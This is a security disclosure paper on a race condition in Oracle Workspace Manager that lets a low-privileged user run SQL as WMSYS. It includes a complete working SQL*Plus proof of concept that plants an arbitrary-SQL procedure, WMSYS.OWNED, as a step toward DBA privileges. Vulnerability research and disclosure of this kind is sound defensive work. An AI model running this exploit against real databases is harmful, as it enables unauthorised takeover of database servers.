Exploiting the Oracle Workspace Manager SQL Race Condition

David Litchfield
dlitchfield@google.com

(19th January 2016)

In November 2013, the author discovered a SQL race condition that could be exploited and leveraged to gain full control over the database server. The flaw was first publicly disclosed at Ruxcon in 2014. Oracle finally released a patch for this security flaw in January 2016[1]. This document discusses that flaw.

The Oracle Workspace Manager allows a user to version-enable database tables. This is achieved by creating *workspaces* which contain the versioned data. The Workspace Manager contains a number of PL/SQL packages that are used to manage workspaces. To function correctly some management actions must be performed with higher privileges than a normal user might have and so to enable this, some of the management functions execute with the privileges of the WMSYS user. The main workspace manager interface is the LT PL/SQL package and this executes with the privileges of the user that calls or *invokes* LT. When privileged work is required to be executed LT calls the LTADM package. The LTADM package executes with the privileges of the owner or *definer*, in this case WMSYS. WMSYS has a number of very powerful privileges such as CREATE ANY TRIGGER that allows the grantee the privilege to create a trigger in any schema, with the exception of the SYS schema.

If an attacker could somehow trick the LTADM package into executing user supplied SQL then they could effectively escalate their privileges to that of WMSYS. Oracle has recognised this as a risk and has taken measures to prevent this - firstly by preventing anyone but WMSYS from executing LTADM, secondly by having a call chain where LTADM must be a child of another WMSYS owned package, and thirdly by ensuring that any SQL passed from LT to LTADM does not contain any code that could allow a privilege escalation attack. This is achieved by parsing *but not executing* any user supplied SQL first and checking it to see if there are any calls to user defined functions, packages, procedures or objects. It does this by examining the query's dependencies. To wit, the LTADM.CHECKWHERECLAUSE function executes the following SQL once the user supplied query has been parsed:

```
SELECT COUNT(*) INTO CNT
FROM V$OPEN_CURSOR OC, V$SQL S, V$OBJECT_DEPENDENCY OD
WHERE OC.SID = USER_SID AND
OC.ADDRESS = S.ADDRESS AND
OC.HASH_VALUE = S.HASH_VALUE AND
LOWER(S.SQL_TEXT) LIKE L_VAL AND
S.ADDRESS = OD.FROM_ADDRESS AND
S.HASH_VALUE = OD.FROM_HASH AND
OD.TO_TYPE IN (7,8,9,11) ;
```

Here, OD.TO_TYPEs 7,8,9 and 11 are functions, procedures, packages and objects. If any such dependency exists then the user supplied query will not be executed and an error is raised:

```
IF (CNT>0) THEN
WMSYS.WM_ERROR.RAISEERROR(WMSYS.LT.WM_ERROR_81_NO);
END IF ;
```

Assuming no “dangerous” dependency exists the user supplied query will be executed:

```
SQL_STR2 :=
'declare
delstatuses wmsys.ltUtil.number_tab ;
begin
select WM_delstatus bulk collect into delstatuses
from ' || WMSYS.LTUTIL.GETVN(TABLE_OWNER, TAB_NAME, '_BASE') || '
where WM_version = ' || CURVER || ' and ' || NEWWHERE_CLAUSE || ' for
update;
end;' ;
WMSYS.LTADM.EXECSQL(SQL_STR2) ;
```

Here NEWWHERE_CLAUSE is the user supplied SQL, for example via the LT.COPYFORUPDATE procedure, which, at this point is considered “safe” and so is executed; executed with the privileges of the WMSYS user.

It is not safe however: this code leads to a time of check to time of use race condition. If an attacker can pass in a safe query, i.e. with no dependencies and pass the security check, but in the time between the check and the query being executed change the underlying objects of the SQL query then they can execute arbitrary SQL as WMSYS. So how is this achieved? Consider the following SQL query:

```
SELECT * FROM RACER.RACER WHERE RACER.Y = 1;
```

Here, Oracle’s SQL compiler would treat this as if there is a user called RACER with a TABLE called RACER that has a column defined on it called Y. If however, there is no such column called Y the SQL compiler would attempt to resolve RACER.Y as a function called Y owned by RACER. Herein lies the trick to exploit the race condition.

First off the attacker creates a TABLE, for example FOO, and version-enable it. They then create another TABLE with a name the same as their user name. In this case the attacker is called RACER so they create a table called RACER. They create one column on the table of type NUMBER and call it Y. Next they create a function called Y and place in here the SQL that

will elevate their privileges. The idea is that in one session the attacker repeatedly changes the column name from Y to Z and Z to Y again. In a second session they repeatedly attempt the exploit until they hit the sweet-spot moment when on parsing the query during the security check Y resolves to the column (and thus is viewed as safe) and then Y being renamed to Z in the background so when the query is executed Y now resolves to the function that contains the nefarious privilege escalation code.

In the proof of concept code below we exploit the race condition to create a procedure called OWNED in the WMSYS schema that allows us to easily execute arbitrary SQL without going through the rigmarole of exploit the race condition. We can then use the OWNED package to create a trigger on a table owned by SYSTEM to then gain DBA privileges.

```
SQL> CONNECT RACER/PASSWORD
Connected.
SQL> CREATE TABLE FOO(X NUMBER, CONSTRAINT X_PK PRIMARY KEY(X));

Table created.

SQL> INSERT INTO FOO (X) VALUES (1);

1 row created.

SQL> COMMIT;

Commit complete.

SQL> EXEC WMSYS.LT.ENABLEVERSIONING('FOO');

PL/SQL procedure successfully completed.

SQL> create or replace function Y return number authid current_user
is
  2  pragma autonomous_transaction;
  3  begin
  4  dbms_output.put_line('BANG!');
  5  execute immediate 'create or replace procedure owned(p varchar)
is begin execute immediate p; end;';
  6  execute immediate 'grant execute on owned to public';
  7  dbms_output.put_line(sys_context('userenv','current_user'));
  8  return 1;
  9  end;
 10  /

Function created.

SQL> GRANT EXECUTE ON Y TO PUBLIC;
```

```
Grant succeeded.

SQL> CREATE TABLE RACER(Y NUMBER);

Table created.

SQL> INSERT INTO RACER(Y) VALUES (1);

1 row created.

SQL> COMMIT;

Commit complete.

SQL> create or replace procedure attempt_it is
  2  begin
  3  execute immediate 'BEGIN
WMSYS.LT.COPYFORUPDATE(''FOO'',''X=LENGTH((SELECT 1 FROM RACER.RACER
WHERE RACER.Y=1))''); END;';
  4  exception when others then
  5  null;
  6  end;
  7  /

Procedure created.

SQL> DESC WMSYS.OWNED --This will error because OWNED does not exist
yet
ERROR:
ORA-04043: object WMSYS.OWNED does not exist

SQL>
SQL> -- WHILST THIS IS RUNNING OPEN A SECOND
SQL> -- SESSION AND EXECUTE THE FOLLOWING:
SQL> --
SQL> -- SQL> CONNECT RACER/PASSWORD
SQL> -- Connected.
SQL> -- SQL> set serveroutput on
SQL> -- SQL> declare
SQL> --   2  i number:=0;
SQL> --   3  begin
SQL> --   4  for i in 1..1000 loop
SQL> --   5  attempt_it;
SQL> --   6  end loop;
SQL> --   7  end;
SQL> --   8  /
SQL> --
```

```
SQL> declare
  2  i number:=0;
  3  begin
  4  for i in 1..1000 loop
  5  execute immediate 'alter table RACER.RACER rename column Y to
Z';
  6  execute immediate 'alter table RACER.RACER rename column Z to
Y';
  7  end loop;
  8  end;
  9  /

PL/SQL procedure successfully completed.

SQL> DESC WMSYS.OWNED
PROCEDURE WMSYS.OWNED
 Argument Name                  Type                    In/Out
Default?
 ------------------------------ ----------------------- ------
--------
 P                              VARCHAR2                IN
```

[1] Oracle Critical Patch Update January 2016
http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html